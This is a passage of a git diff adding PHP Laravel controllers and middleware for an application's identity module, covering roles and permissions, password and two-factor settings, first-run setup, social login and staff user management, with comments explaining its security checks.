$clientRole)) + ->when($filters['type'] === 'client', fn (Builder $q) => $q->where('name', $clientRole)) + ->when($filters['type'] === 'custom', fn (Builder $q) => $q->where('is_system', false)) + ->orderByRaw('CASE WHEN name = ? THEN 1 WHEN is_system = 1 THEN 0 ELSE 2 END', [$clientRole]) + ->orderByDesc('is_administrator') + ->orderBy('name') + ->get() + ->map(fn (Role $role): array => [ + 'id' => $role->id, + 'name' => $role->name, + 'type' => $role->name === $clientRole ? 'client' : ($role->is_system ? 'system' : 'custom'), + 'is_system' => $role->is_system, + 'is_administrator' => $role->is_administrator, + 'users_count' => $role->users_count, + 'permissions_count' => $role->is_administrator ? null : $role->permissions_count, + ]); + + return Inertia::render('roles/index', [ + 'roles' => $roles->all(), + 'total_permissions' => count(Permission::cases()), + 'filters' => $filters, + ]); + } + + public function create(): Response + { + return Inertia::render('roles/create', [ + 'catalog' => $this->catalog(), + ]); + } + + public function store(Request $request): RedirectResponse + { + $validated = $request->validate([ + 'name' => ['required', 'string', 'max:255', 'unique:roles,name'], + 'client_scoped' => ['boolean'], + 'permissions' => ['array'], + 'permissions.*' => [Rule::enum(Permission::class)], + ]); + + $this->guardGrantablePermissions($request, $validated['permissions'] ?? []); + + $role = Role::query()->create([ + 'name' => $validated['name'], + 'client_scoped' => $validated['client_scoped'] ?? false, + ]); + + $this->syncPermissions($role, $validated['permissions'] ?? []); + + $this->activity->log(Action::RoleCreated, subject: $role); + + return redirect()->route('roles.edit', $role)->with('success', __('Role created.')); + } + + public function edit(Role $role): Response + { + return Inertia::render('roles/edit', [ + 'role' => [ + 'id' => $role->id, + 'name' => $role->name, + 'is_system' => $role->is_system, + 'is_administrator' => $role->is_administrator, + 'client_scoped' => $role->client_scoped, + 'users_count' => $role->users()->count(), + 'permissions' => $role->permissions()->pluck('permission')->all(), + ], + 'catalog' => $this->catalog(), + ]); + } + + public function update(Request $request, Role $role): RedirectResponse + { + if ($role->is_administrator) { + throw ValidationException::withMessages([ + 'permissions' => __('The administrator role always has every permission and cannot be edited.'), + ]); + } + + $validated = $request->validate([ + 'name' => ['required', 'string', 'max:255', Rule::unique('roles', 'name')->ignore($role->id)], + 'client_scoped' => ['boolean'], + 'permissions' => ['array'], + 'permissions.*' => [Rule::enum(Permission::class)], + ]); + + // Built-in roles have fixed names and a fixed scope flag; only their + // permission set is editable. Custom roles can change name + scope. + if (! $role->is_system) { + $role->update([ + 'name' => $validated['name'], + 'client_scoped' => $validated['client_scoped'] ?? false, + ]); + } + + $oldPermissions = $role->permissions()->pluck('permission')->all(); + $newPermissions = $validated['permissions'] ?? []; + + // Only what the actor is losing or gaining needs checking: a + // permission already on the role and left untouched is not being + // granted by this actor, so editing an unrelated field never + // requires holding the whole existing set. + $this->guardGrantablePermissions($request, array_values(array_diff($newPermissions, $oldPermissions))); + + $this->syncPermissions($role, $newPermissions); + + $this->activity->log(Action::RoleUpdated, subject: $role, context: [ + 'permissions_added' => array_values(array_diff($newPermissions, $oldPermissions)), + 'permissions_removed' => array_values(array_diff($oldPermissions, $newPermissions)), + ]); + + return back()->with('success', __('Role updated.')); + } + + public function destroy(Role $role): RedirectResponse + { + if ($role->is_system) { + throw ValidationException::withMessages([ + 'role' => __('Built-in roles cannot be deleted.'), + ]); + } + + // Trashed accounts still reference their role; count them too. + if ($role->users()->withTrashed()->exists()) { + throw ValidationException::withMessages([ + 'role' => __('This role is assigned to accounts and cannot be deleted.'), + ]); + } + + $name = $role->name; + $role->delete(); + + $this->activity->log(Action::RoleDeleted, context: ['name' => $name]); + + return redirect()->route('roles.index')->with('success', __('Role deleted.')); + } + + /** + * A role is a bundle of authority, so minting one is handing authority + * out — the same rule as assigning a role (UsersController::mayGrant). + * Without this, a non-administrator holding manage_users could create a + * role carrying permissions they lack and then hold it themselves. + * An administrator holds everything, so this never fires for them. + * + * @param list $permissions the ones being granted by this request + */ + private function guardGrantablePermissions(Request $request, array $permissions): void + { + $actor = $request->user(); + assert($actor !== null); + + if ($actor->role?->is_administrator === true) { + return; + } + + $beyond = array_values(array_diff($permissions, $this->permissions->grantedKeys($actor))); + + if ($beyond !== []) { + throw ValidationException::withMessages([ + 'permissions' => __('You cannot grant permissions your own role does not have: :permissions', [ + 'permissions' => implode(', ', $beyond), + ]), + ]); + } + } + + /** + * @param list $permissions + */ + private function syncPermissions(Role $role, array $permissions): void + { + RolePermission::query()->where('role_id', $role->id)->delete(); + + if ($permissions !== []) { + RolePermission::query()->insert(array_map( + fn (string $permission): array => ['role_id' => $role->id, 'permission' => $permission], + array_values(array_unique($permissions)), + )); + } + } + + /** + * The permission vocabulary grouped by category, for the matrix UI. + * + * @return list> + */ + private function catalog(): array + { + return array_values(array_map(fn (PermissionCategory $category): array => [ + 'key' => $category->value, + 'label' => $category->label(), + 'permissions' => array_values(array_map( + fn (Permission $permission): array => [ + 'key' => $permission->value, + 'label' => $permission->label(), + ], + array_filter( + Permission::cases(), + fn (Permission $permission): bool => $permission->category() === $category, + ), + )), + ], PermissionCategory::cases())); + } +} diff --git a/app/Modules/Identity/Http/Controllers/SecuritySettingsController.php b/app/Modules/Identity/Http/Controllers/SecuritySettingsController.php new file mode 100644 index 00000000..61188ffb --- /dev/null +++ b/app/Modules/Identity/Http/Controllers/SecuritySettingsController.php @@ -0,0 +1,76 @@ + $this->settings->get(Setting::TwoFactorEnforcement), + 'password_min_length' => $this->settings->get(Setting::PasswordMinLength), + 'password_reject_breached' => $this->settings->get(Setting::PasswordRejectBreached), + // The bounds the form offers come from the policy rather than + // from a literal here, so the field and the rule below can + // never drift apart. + 'password_min_length_floor' => PasswordPolicy::MIN_LENGTH, + 'password_min_length_ceiling' => PasswordPolicy::MAX_LENGTH, + ]); + } + + public function update(Request $request): RedirectResponse + { + $validated = $request->validate([ + 'two_factor_enforcement' => ['required', Rule::enum(TwoFactorEnforcement::class)], + // This is the authoritative floor: PasswordPolicy clamps on + // read as a backstop, but refusing the save is what tells an + // administrator their number was rejected instead of silently + // storing something the application will not honour. + 'password_min_length' => [ + 'required', + 'integer', + 'min:'.PasswordPolicy::MIN_LENGTH, + 'max:'.PasswordPolicy::MAX_LENGTH, + ], + 'password_reject_breached' => ['required', 'boolean'], + ]); + + $this->settings->set(Setting::TwoFactorEnforcement, $validated['two_factor_enforcement']); + $this->settings->set(Setting::PasswordMinLength, $validated['password_min_length']); + $this->settings->set(Setting::PasswordRejectBreached, $validated['password_reject_breached']); + + $this->activity->log(Action::SettingsUpdated, context: [ + 'section' => 'security', + 'two_factor_enforcement' => $validated['two_factor_enforcement'], + 'password_min_length' => $validated['password_min_length'], + 'password_reject_breached' => $validated['password_reject_breached'], + ]); + + return back(); + } +} diff --git a/app/Modules/Identity/Http/Controllers/SetupController.php b/app/Modules/Identity/Http/Controllers/SetupController.php new file mode 100644 index 00000000..6875b08f --- /dev/null +++ b/app/Modules/Identity/Http/Controllers/SetupController.php @@ -0,0 +1,97 @@ +setupIsComplete()) { + return redirect()->route('home'); + } + + return Inertia::render('setup'); + } + + public function store(Request $request): RedirectResponse + { + if ($this->setupIsComplete()) { + return redirect()->route('home'); + } + + $validated = $request->validate([ + 'site_name' => ['required', 'string', 'max:255'], + 'name' => ['required', 'string', 'max:255'], + 'email' => ['required', 'string', 'lowercase', 'email', 'max:255'], + 'password' => ['required', 'confirmed', Password::defaults()], + ]); + + $this->settings->set(Setting::SiteName, $validated['site_name']); + + $admin = User::create([ + 'type' => UserType::Staff, + 'active' => true, + 'role_id' => Role::query()->where('name', SystemRole::SystemAdministrator->value)->value('id'), + 'name' => $validated['name'], + 'email' => $validated['email'], + 'password' => $validated['password'], + 'email_verified_at' => now(), + ]); + + // v1 logged installation as action 0; setup is a recorded action. + $this->activity->log(Action::SetupCompleted, $admin); + $this->activity->log(Action::UserCreated, $admin, $admin); + + if ($this->settings->get(Setting::AdminNotificationEmails) === []) { + $this->settings->set(Setting::AdminNotificationEmails, [$admin->email]); + } + + // Deliberately no auto-login: the new administrator proves their + // credentials at the login form, which also confirms they work. + return redirect()->route('setup.success')->with('setup_completed', true); + } + + public function success(Request $request): Response|RedirectResponse + { + if (! $this->setupIsComplete()) { + return redirect()->route('setup'); + } + + if (! $request->session()->get('setup_completed')) { + return redirect()->route('login'); + } + + return Inertia::render('setup-success'); + } + + private function setupIsComplete(): bool + { + return User::query()->where('type', UserType::Staff)->exists(); + } +} diff --git a/app/Modules/Identity/Http/Controllers/SocialLoginController.php b/app/Modules/Identity/Http/Controllers/SocialLoginController.php new file mode 100644 index 00000000..ec78e245 --- /dev/null +++ b/app/Modules/Identity/Http/Controllers/SocialLoginController.php @@ -0,0 +1,181 @@ +begin($request, $provider, 'login'); + } + + /** Begin connecting a provider to the signed-in account. */ + public function connect(Request $request, string $provider): SymfonyRedirectResponse|RedirectResponse + { + return $this->begin($request, $provider, 'link'); + } + + public function callback(Request $request, string $provider): RedirectResponse + { + $case = $this->provider($provider); + + $intent = $request->session()->pull(self::INTENT); + $expected = $request->session()->pull(self::PROVIDER); + + // Nobody started this exchange from here. + if (! is_string($intent) || $expected !== $case->value) { + return redirect()->route('login')->with('error', __('That sign-in could not be completed. Please try again.')); + } + + $settings = SocialSettings::for($case); + + if (! $settings->usable()) { + return redirect()->route('login')->with('error', __('That sign-in method is not available.')); + } + + $identity = $this->gateway()->identity($settings); + + if ($identity === null) { + return $intent === 'link' + ? redirect()->route('connected-accounts.edit')->with('error', __('That sign-in could not be completed. Please try again.')) + : redirect()->route('login')->with('error', __('That sign-in could not be completed. Please try again.')); + } + + if ($intent === 'link') { + return $this->completeLink($request, $settings, $identity); + } + + $resolution = $this->authenticator->resolve($settings, $identity); + + if ($resolution->user === null) { + return redirect()->route('login')->with('error', $resolution->refusal); + } + + if ($resolution->linked && ! $resolution->provisioned) { + $this->activity->log(Action::SocialAccountLinked, $resolution->user, $resolution->user, [ + 'provider' => $case->label(), + ]); + } + + // The same account-state check a password login gets, with the + // same wording. An account awaiting approval must not be let in + // by a different door — including the one that just created it. + $refusal = $this->signIn->refusalReason($resolution->user); + + if ($refusal !== null) { + return redirect()->route('login')->with('error', $refusal); + } + + // Two-factor still applies, identically: a second factor that a + // provider could skip is not a second factor. + if ($this->signIn->begin($resolution->user, remember: false)) { + return redirect()->route('two-factor.challenge'); + } + + $request->session()->regenerate(); + + return redirect()->intended(route('dashboard', absolute: false)); + } + + private function begin(Request $request, string $provider, string $intent): SymfonyRedirectResponse|RedirectResponse + { + $case = $this->provider($provider); + $settings = SocialSettings::for($case); + + if (! $settings->usable()) { + return redirect()->route($intent === 'link' ? 'connected-accounts.edit' : 'login') + ->with('error', __('That sign-in method is not available.')); + } + + $request->session()->put([self::INTENT => $intent, self::PROVIDER => $case->value]); + + return $this->gateway()->redirect($settings); + } + + private function completeLink(Request $request, SocialSettings $settings, SocialIdentity $identity): RedirectResponse + { + $user = $request->user(); + + if ($user === null) { + return redirect()->route('login'); + } + + $link = $this->authenticator->link($user, $identity); + + if ($link === null) { + return redirect()->route('connected-accounts.edit')->with( + 'error', + __('That :provider account is already connected to another account here.', [ + 'provider' => $settings->provider->label(), + ]) + ); + } + + $this->activity->log(Action::SocialAccountLinked, $user, $user, [ + 'provider' => $settings->provider->label(), + ]); + + return redirect()->route('connected-accounts.edit')->with( + 'success', + __(':provider connected.', ['provider' => $settings->provider->label()]) + ); + } + + private function provider(string $provider): SocialProvider + { + return SocialProvider::tryFrom($provider) ?? throw new NotFoundHttpException; + } +} diff --git a/app/Modules/Identity/Http/Controllers/SocialLoginSettingsController.php b/app/Modules/Identity/Http/Controllers/SocialLoginSettingsController.php new file mode 100644 index 00000000..bf3d1685 --- /dev/null +++ b/app/Modules/Identity/Http/Controllers/SocialLoginSettingsController.php @@ -0,0 +1,143 @@ + $settings) { + $provider = $settings->provider; + + $providers[] = [ + 'provider' => $key, + 'label' => $provider->label(), + 'enabled' => $settings->enabled, + 'client_id' => $settings->client_id, + // The secret itself never leaves the server. + 'has_client_secret' => is_string($settings->client_secret) && $settings->client_secret !== '', + 'issuer_url' => $settings->issuer_url, + 'tenant_id' => $settings->tenant_id, + 'require_verified_email' => $settings->require_verified_email, + 'allowed_domains' => $settings->allowed_domains, + 'auto_provision' => $settings->auto_provision, + 'auto_approve' => $settings->auto_approve, + 'needs_issuer_url' => $provider->needsIssuerUrl(), + 'needs_tenant_id' => $provider->needsTenantId(), + // Without this an administrator reads the verified-email + // checkbox as doing something it cannot do here. + 'can_report_verified_email' => $provider->canReportVerifiedEmail(), + // The single most common configuration failure is pasting + // the wrong one of these into the provider's console. + 'redirect_uri' => $provider->redirectUri(), + ]; + } + + return Inertia::render('system/settings/social-login', [ + 'providers' => $providers, + ]); + } + + public function update(Request $request, string $provider): RedirectResponse + { + $case = SocialProvider::tryFrom($provider) ?? abort(404); + + $validated = $request->validate([ + 'enabled' => ['required', 'boolean'], + 'client_id' => ['nullable', 'string', 'max:255'], + 'client_secret' => ['nullable', 'string', 'max:512'], + 'issuer_url' => [ + $case->needsIssuerUrl() && $request->boolean('enabled') ? 'required' : 'nullable', + 'string', + 'max:255', + // Plaintext here would let anyone on the path choose both + // the page we send people to and the endpoint we post a + // client secret to. + 'starts_with:https://', + ], + 'tenant_id' => [ + $case->needsTenantId() && $request->boolean('enabled') ? 'required' : 'nullable', + 'string', + 'max:255', + // "common" and "organizations" are multi-tenant, and Entra's + // email claim is user-mutable — with either of those a + // stranger's tenant can assert your address. This is the + // nOAuth class of bug, and refusing the value is the fix. + 'not_in:common,organizations,consumers', + ], + 'require_verified_email' => ['required', 'boolean'], + 'allowed_domains' => ['nullable', 'string', 'max:512'], + 'auto_provision' => ['required', 'boolean'], + 'auto_approve' => ['required', 'boolean'], + ], [ + 'tenant_id.not_in' => __('Enter a specific tenant ID. The shared "common", "organizations" and "consumers" endpoints let any Microsoft tenant assert any email address.'), + 'issuer_url.starts_with' => __('The issuer URL must start with https://.'), + ]); + + $settings = SocialSettings::for($case); + + $previousIssuer = $settings->issuer(); + + $settings->fill([ + 'provider' => $case->value, + 'enabled' => (bool) $validated['enabled'], + 'client_id' => $validated['client_id'] ?? null, + 'issuer_url' => $validated['issuer_url'] ?? null, + 'tenant_id' => $validated['tenant_id'] ?? null, + 'require_verified_email' => (bool) $validated['require_verified_email'], + 'allowed_domains' => $validated['allowed_domains'] ?? null, + 'auto_provision' => (bool) $validated['auto_provision'], + 'auto_approve' => (bool) $validated['auto_approve'], + ]); + + // Blank means "leave it alone", so editing the allow-list does not + // wipe the credential. + if (is_string($validated['client_secret'] ?? null) && $validated['client_secret'] !== '') { + $settings->client_secret = $validated['client_secret']; + } + + $settings->save(); + + // An administrator who has just corrected an issuer should not wait + // an hour to find out whether it worked. + foreach (array_filter([$previousIssuer, $settings->issuer()]) as $issuer) { + $this->discovery->forget($issuer); + } + + $this->activity->log(Action::SettingsUpdated, context: ['section' => 'social-login.'.$case->value]); + + return back()->with('success', __(':provider settings saved.', ['provider' => $case->label()])); + } +} diff --git a/app/Modules/Identity/Http/Controllers/TwoFactorChallengeController.php b/app/Modules/Identity/Http/Controllers/TwoFactorChallengeController.php new file mode 100644 index 00000000..33160330 --- /dev/null +++ b/app/Modules/Identity/Http/Controllers/TwoFactorChallengeController.php @@ -0,0 +1,95 @@ +pendingUser($request) === null) { + return redirect()->route('login'); + } + + return Inertia::render('auth/two-factor-challenge'); + } + + public function store(Request $request): RedirectResponse + { + $user = $this->pendingUser($request); + + if ($user === null) { + return redirect()->route('login'); + } + + $request->validate([ + 'code' => ['nullable', 'string'], + 'recovery_code' => ['nullable', 'string'], + ]); + + $throttleKey = 'two-factor.challenge.'.$user->id; + + if (RateLimiter::tooManyAttempts($throttleKey, 5)) { + throw ValidationException::withMessages([ + 'code' => __('auth.throttle', ['seconds' => (string) RateLimiter::availableIn($throttleKey)]), + ]); + } + + $valid = $request->filled('code') + ? $this->twoFactor->verify($user, (string) $request->string('code')) + : ($request->filled('recovery_code') + && $this->twoFactor->consumeRecoveryCode($user, trim((string) $request->string('recovery_code')))); + + if (! $valid) { + RateLimiter::hit($throttleKey); + + throw ValidationException::withMessages([ + 'code' => __('The provided two-factor authentication code was invalid.'), + ]); + } + + RateLimiter::clear($throttleKey); + + Auth::login($user, (bool) $request->session()->pull(SignIn::TWO_FACTOR_REMEMBER, false)); + + $request->session()->forget(SignIn::TWO_FACTOR_ID); + $request->session()->regenerate(); + + return redirect()->intended(route('dashboard', absolute: false)); + } + + private function pendingUser(Request $request): ?User + { + $id = $request->session()->get(SignIn::TWO_FACTOR_ID); + + if (! is_int($id) && ! is_string($id)) { + return null; + } + + $user = User::query()->find($id); + + return $user instanceof User && $user->active && $user->hasTwoFactorEnabled() ? $user : null; + } +} diff --git a/app/Modules/Identity/Http/Controllers/TwoFactorEnrollmentController.php b/app/Modules/Identity/Http/Controllers/TwoFactorEnrollmentController.php new file mode 100644 index 00000000..686260dd --- /dev/null +++ b/app/Modules/Identity/Http/Controllers/TwoFactorEnrollmentController.php @@ -0,0 +1,124 @@ +user(); + assert($user !== null); + + $pendingSecret = $user->two_factor_confirmed_at === null ? $user->two_factor_secret : null; + + return Inertia::render('settings/two-factor', [ + 'enabled' => $user->hasTwoFactorEnabled(), + 'pending' => $pendingSecret !== null, + 'qr_code_svg' => $pendingSecret !== null ? $this->twoFactor->qrCodeSvg($user, $pendingSecret) : null, + 'secret' => $pendingSecret, + 'recovery_codes' => $request->session()->get('two_factor_recovery_codes'), + 'enforced' => (bool) $request->session()->get('two_factor_enforced_notice', false), + ]); + } + + /** + * Start enrollment: generate a secret awaiting confirmation. + */ + public function store(Request $request): RedirectResponse + { + $user = $request->user(); + assert($user !== null); + + if (! $user->hasTwoFactorEnabled()) { + $user->forceFill([ + 'two_factor_secret' => $this->twoFactor->generateSecret(), + 'two_factor_recovery_codes' => null, + 'two_factor_confirmed_at' => null, + ])->save(); + } + + return back(); + } + + /** + * Confirm enrollment with a code from the authenticator app. + */ + public function confirm(Request $request): RedirectResponse + { + $user = $request->user(); + assert($user !== null); + + $request->validate(['code' => ['required', 'string']]); + + if ($user->hasTwoFactorEnabled() || $user->two_factor_secret === null) { + return back(); + } + + if (! $this->twoFactor->verify($user, (string) $request->string('code'))) { + throw ValidationException::withMessages([ + 'code' => __('The provided two-factor authentication code was invalid.'), + ]); + } + + $recoveryCodes = $this->twoFactor->generateRecoveryCodes(); + + $user->forceFill([ + 'two_factor_recovery_codes' => $recoveryCodes, + 'two_factor_confirmed_at' => now(), + ])->save(); + + $this->activity->log(Action::TwoFactorEnabled, $user); + + return back()->with('two_factor_recovery_codes', $recoveryCodes); + } + + /** + * Replace the recovery codes. + */ + public function regenerateRecoveryCodes(Request $request): RedirectResponse + { + $user = $request->user(); + assert($user !== null); + + if (! $user->hasTwoFactorEnabled()) { + return back(); + } + + $recoveryCodes = $this->twoFactor->generateRecoveryCodes(); + + $user->forceFill(['two_factor_recovery_codes' => $recoveryCodes])->save(); + + $this->activity->log(Action::TwoFactorRecoveryCodesRegenerated, $user); + + return back()->with('two_factor_recovery_codes', $recoveryCodes); + } + + public function destroy(Request $request): RedirectResponse + { + $user = $request->user(); + assert($user !== null); + + if ($this->twoFactor->clear($user)) { + $this->activity->log(Action::TwoFactorDisabled, $user); + } + + return back(); + } +} diff --git a/app/Modules/Identity/Http/Controllers/UsersController.php b/app/Modules/Identity/Http/Controllers/UsersController.php new file mode 100644 index 00000000..b09c438a --- /dev/null +++ b/app/Modules/Identity/Http/Controllers/UsersController.php @@ -0,0 +1,272 @@ +validate([ + 'search' => ['nullable', 'string', 'max:255'], + 'role' => ['nullable', 'integer'], + 'status' => ['nullable', Rule::in(['active', 'inactive'])], + ]); + + $filters = [ + 'search' => $validated['search'] ?? null, + 'role' => isset($validated['role']) ? (string) $validated['role'] : null, + 'status' => $validated['status'] ?? null, + ]; + + $activeAdminCount = $this->accounts->activeAdministratorCount(); + + $users = User::query() + ->where('type', UserType::Staff) + ->with('role') + ->when($filters['search'], fn (Builder $query, string $search) => $query->where(fn (Builder $q) => $q + ->where('name', 'like', "%{$search}%") + ->orWhere('email', 'like', "%{$search}%"))) + ->when($filters['role'], fn (Builder $query, string $role) => $query->where('role_id', (int) $role)) + ->when($filters['status'], fn (Builder $query, string $status) => $query->where('active', $status === 'active')) + ->orderBy('name') + ->paginate(25) + ->withQueryString(); + + $content = $this->accountContent->summarizeMany($users->pluck('id')); + // One grouped query for the page, not one per row — see + // ApiTokens::summarizeMany(). + $tokens = $this->apiTokens->summarizeMany($users->pluck('id')); + + $users->through(fn (User $user): array => [ + 'id' => $user->id, + 'name' => $user->name, + 'email' => $user->email, + 'role' => $user->role?->name, + 'role_is_system' => $user->role !== null && $user->role->is_system, + 'active' => $user->active, + 'two_factor_enabled' => $user->hasTwoFactorEnabled(), + 'created_at' => $user->created_at?->toIso8601String(), + 'is_self' => $user->is($request->user()), + 'is_last_administrator' => $user->active && $activeAdminCount === 1 && $user->role?->is_administrator === true, + 'content' => $content[$user->id] ?? ['files' => 0, 'folders' => 0], + // Both counts: "does anyone hold a live credential for this + // account" and "has this account ever used the API at all" are + // different questions, and the list answers both. An expired + // token is nobody's credential, but it does say the account has + // an integration history worth knowing about. + 'api_tokens' => $tokens[$user->id] ?? ['total' => 0, 'active' => 0], + ]); + + return Inertia::render('users/index', [ + 'users' => $users->items(), + 'pagination' => Pagination::meta($users), + 'filters' => $filters, + 'roles' => Role::query()->orderBy('name')->get(['id', 'name']) + ->map(fn (Role $role): array => ['id' => $role->id, 'name' => $role->name])->all(), + 'reassign_candidates' => $this->accountDeletion->candidates(), + ]); + } + + public function create(): Response + { + return Inertia::render('users/create', [ + 'roles' => $this->roleOptions(), + 'clients' => $this->clientOptions(), + ]); + } + + public function store(Request $request): RedirectResponse + { + $validated = $request->validate([ + 'name' => ['required', 'string', 'max:255'], + 'email' => ['required', 'string', 'lowercase', 'email', 'max:255', 'unique:users,email'], + 'role_id' => ['required', 'integer', Rule::in($this->accounts->assignableRoleIds($this->actor()))], + 'password' => ['required', 'confirmed', Password::defaults()], + 'assigned_clients' => ['array'], + 'assigned_clients.*' => ['integer', Rule::exists('users', 'id')->where('type', UserType::Client->value)], + ]); + + $user = $this->accounts->create([ + 'name' => $validated['name'], + 'email' => $validated['email'], + 'role_id' => (int) $validated['role_id'], + 'password' => $validated['password'], + ], $validated['assigned_clients'] ?? []); + + return redirect()->route('users.edit', $user)->with('success', __('User created.')); + } + + public function edit(User $user): Response + { + abort_unless($user->isStaff(), 404); + $this->accounts->guardTarget($this->actor(), $user); + + return Inertia::render('users/edit', [ + 'user' => [ + 'id' => $user->id, + 'name' => $user->name, + 'email' => $user->email, + 'role_id' => $user->role_id, + 'active' => $user->active, + 'two_factor_enabled' => $user->hasTwoFactorEnabled(), + ], + 'roles' => $this->roleOptions(), + 'clients' => $this->clientOptions(), + 'assigned_client_ids' => $user->assignedClients()->pluck('users.id')->map(fn ($id): int => (int) $id)->all(), + 'is_self' => $user->is(auth()->user()), + 'is_last_administrator' => $user->active + && $this->accounts->isAdministratorRole($user->role_id) + && $this->accounts->activeAdministratorCount() === 1, + 'content' => $this->accountContent->summarize($user), + 'reassign_candidates' => $this->accountDeletion->candidates($user->id), + // Read-only, deliberately: an administrator may see that an + // integration exists and what it is allowed to do, but only + // the owner can rename, re-scope or revoke it. See ApiTokens. + 'api_tokens' => $this->apiTokens->detailFor($user), + ]); + } + + public function update(Request $request, User $user): RedirectResponse + { + abort_unless($user->isStaff(), 404); + $this->accounts->guardTarget($this->actor(), $user); + + $validated = $request->validate([ + 'name' => ['required', 'string', 'max:255'], + 'email' => ['required', 'string', 'lowercase', 'email', 'max:255', Rule::unique('users', 'email')->ignore($user->id)], + 'role_id' => ['required', 'integer', Rule::in($this->accounts->assignableRoleIds($this->actor()))], + 'active' => ['required', 'boolean'], + 'password' => ['nullable', 'confirmed', Password::defaults()], + 'assigned_clients' => ['array'], + 'assigned_clients.*' => ['integer', Rule::exists('users', 'id')->where('type', UserType::Client->value)], + ]); + + // Deactivating yourself is refused here rather than in StaffAccounts + // because it is a rule about *this* request's actor, not about the + // account: the API's own equivalent asks the same question of its + // own caller. + if ($user->is($this->actor()) && ! $validated['active']) { + throw ValidationException::withMessages([ + 'active' => __('You cannot deactivate your own account.'), + ]); + } + + $this->accounts->update($user, [ + 'name' => $validated['name'], + 'email' => $validated['email'], + 'role_id' => (int) $validated['role_id'], + 'active' => (bool) $validated['active'], + 'password' => is_string($validated['password'] ?? null) ? $validated['password'] : '', + ], $validated['assigned_clients'] ?? []); + + return back()->with('success', __('User updated.')); + } + + /** + * Remove this account's second factor, for the staff member who has + * lost their authenticator and their recovery codes. + */ + public function destroyTwoFactor(User $user, TwoFactorAdministration $twoFactor): RedirectResponse + { + abort_unless($user->isStaff(), 404); + $this->accounts->guardTarget($this->actor(), $user); + + $twoFactor->reset($user); + + return back()->with('success', __('Two-factor authentication removed.')); + } + + public function destroy(Request $request, User $user): RedirectResponse + { + abort_unless($user->isStaff(), 404); + $this->accounts->guardDeletable($this->actor(), $user); + + $validated = $this->accountDeletion->validate($request, $user); + + $name = $this->accounts->delete($user); + + $this->accountDeletion->apply($validated, $user, $name); + + return redirect()->route('users.index')->with('success', __('User deleted.')); + } + + /** + * The signed-in staff member, as every guard in StaffAccounts needs + * them. Not nullable here: every route on this controller is behind + * `auth`. + */ + private function actor(): User + { + $actor = auth()->user(); + assert($actor instanceof User); + + return $actor; + } + + /** + * Staff-assignable roles, shaped for the form. `client_scoped` tells + * it which roles need the assigned-clients picker. + * + * Which roles those are is StaffAccounts' answer, not this + * controller's — it is an authority question, and the API asks it too. + * + * @return array + */ + private function roleOptions(): array + { + return $this->accounts->assignableRoles($this->actor()) + ->map(fn (Role $role): array => [ + 'id' => $role->id, + 'name' => $role->name, + 'is_system' => $role->is_system, + 'client_scoped' => $role->client_scoped, + ]) + ->values() + ->all(); + } + + /** + * The client roster, for the assigned-clients picker. + * + * @return array + */ + private function clientOptions(): array + { + return User::query()->where('type', UserType::Client)->orderBy('name')->get() + ->map(fn (User $client): array => ['id' => $client->id, 'name' => $client->name]) + ->values()->all(); + } +} diff --git a/app/Modules/Identity/Http/Middleware/EnforceTwoFactor.php b/app/Modules/Identity/Http/Middleware/EnforceTwoFactor.php new file mode 100644 index 00000000..6a1479e6 --- /dev/null +++ b/app/Modules/Identity/Http/Middleware/EnforceTwoFactor.php @@ -0,0 +1,53 @@ +user(); + + if ($user === null || $user->hasTwoFactorEnabled()) { + return $next($request); + } + + $value = $this->settings->get(Setting::TwoFactorEnforcement); + + $enforcement = (is_string($value) ? TwoFactorEnforcement::tryFrom($value) : null) + ?? TwoFactorEnforcement::None; + + if (! $enforcement->appliesTo($user->type)) { + return $next($request); + } + + // password.confirm is on this list because the two-factor mutation + // routes now require it: without the exemption, enrolling would + // redirect to the confirm-password screen, which this middleware + // would redirect straight back to two-factor.show — a loop that + // locks the user out of the only exit. + if ($request->routeIs('two-factor.*', 'password.confirm', 'logout', 'locale.update')) { + return $next($request); + } + + return redirect()->route('two-factor.show')->with('two_factor_enforced_notice', true); + } +} diff --git a/app/Modules/Identity/Http/Middleware/EnsureAccountIsActive.php b/app/Modules/Identity/Http/Middleware/EnsureAccountIsActive.php new file mode 100644 index 00000000..0f4db198 --- /dev/null +++ b/app/Modules/Identity/Http/Middleware/EnsureAccountIsActive.php @@ -0,0 +1,35 @@ +user(); + + if ($user !== null && ! $user->active) { + Auth::guard('web')->logout(); + + $request->session()->invalidate(); + $request->session()->regenerateToken(); + + return redirect()->route('login')->withErrors([ + 'email' => __('Your account has been deactivated.'), + ]); + } + + return $next($request); + } +} diff --git a/app/Modules/Identity/Http/Middleware/EnsureSetupIsComplete.php b/app/Modules/Identity/Http/Middleware/EnsureSetupIsComplete.php new file mode 100644 index 00000000..54e56e30 --- /dev/null +++ b/app/Modules/Identity/Http/Middleware/EnsureSetupIsComplete.php @@ -0,0 +1,33 @@ +routeIs('setup', 'setup.store', 'locale.update')) { + return $next($request); + } + + if (User::query()->where('type', UserType::Staff)->exists()) { + return $next($request); + } + + return redirect()->route('setup'); + } +} diff --git a/app/Modules/Identity/Http/Middleware/EnsureStaff.php b/app/Modules/Identity/Http/Middleware/EnsureStaff.php new file mode 100644 index 00000000..5eec9982 --- /dev/null +++ b/app/Modules/Identity/Http/Middleware/EnsureStaff.php @@ -0,0 +1,37 @@ +user(); + + if ($user !== null && $user->isStaff()) { + return $next($request); + } + + // A client navigating to a staff URL (stale intended-redirects + // after login, old bookmarks) is sent home rather than shown an + // error — staff pages are simply not part of their world. + // Mutations stay a hard 403. + if ($user !== null && $request->isMethod('GET') && ! $request->expectsJson()) { + return redirect()->route('dashboard'); + } + + abort(403); + } +} diff --git a/app/Modules/Identity/Http/Resources/Api/StaffUserResource.php b/app/Modules/Identity/Http/Resources/Api/StaffUserResource.php new file mode 100644 index 00000000..9b1b6225 --- /dev/null +++ b/app/Modules/Identity/Http/Resources/Api/StaffUserResource.php @@ -0,0 +1,99 @@ +|null */ + private ?array $assignedClientIds = null; + + /** + * The richer single-account shape. + * + * A named constructor rather than extra __construct parameters: + * JsonResource::collection() maps the collection through + * `new static($item, $key)`, so widening the constructor silently + * breaks every listing with a TypeError on the second argument. + * + * @param array{files: int, folders: int} $content + * @param list $assignedClientIds + */ + public static function detailed(User $user, array $content, array $assignedClientIds): self + { + $resource = new self($user); + $resource->content = $content; + $resource->assignedClientIds = $assignedClientIds; + + return $resource; + } + + /** + * @return array + */ + public function toArray(Request $request): array + { + $role = $this->role; + + $data = [ + 'id' => $this->id, + 'name' => $this->name, + 'email' => $this->email, + 'active' => $this->active, + 'two_factor_enabled' => $this->hasTwoFactorEnabled(), + // Nested rather than a bare role_id, so a caller can render a 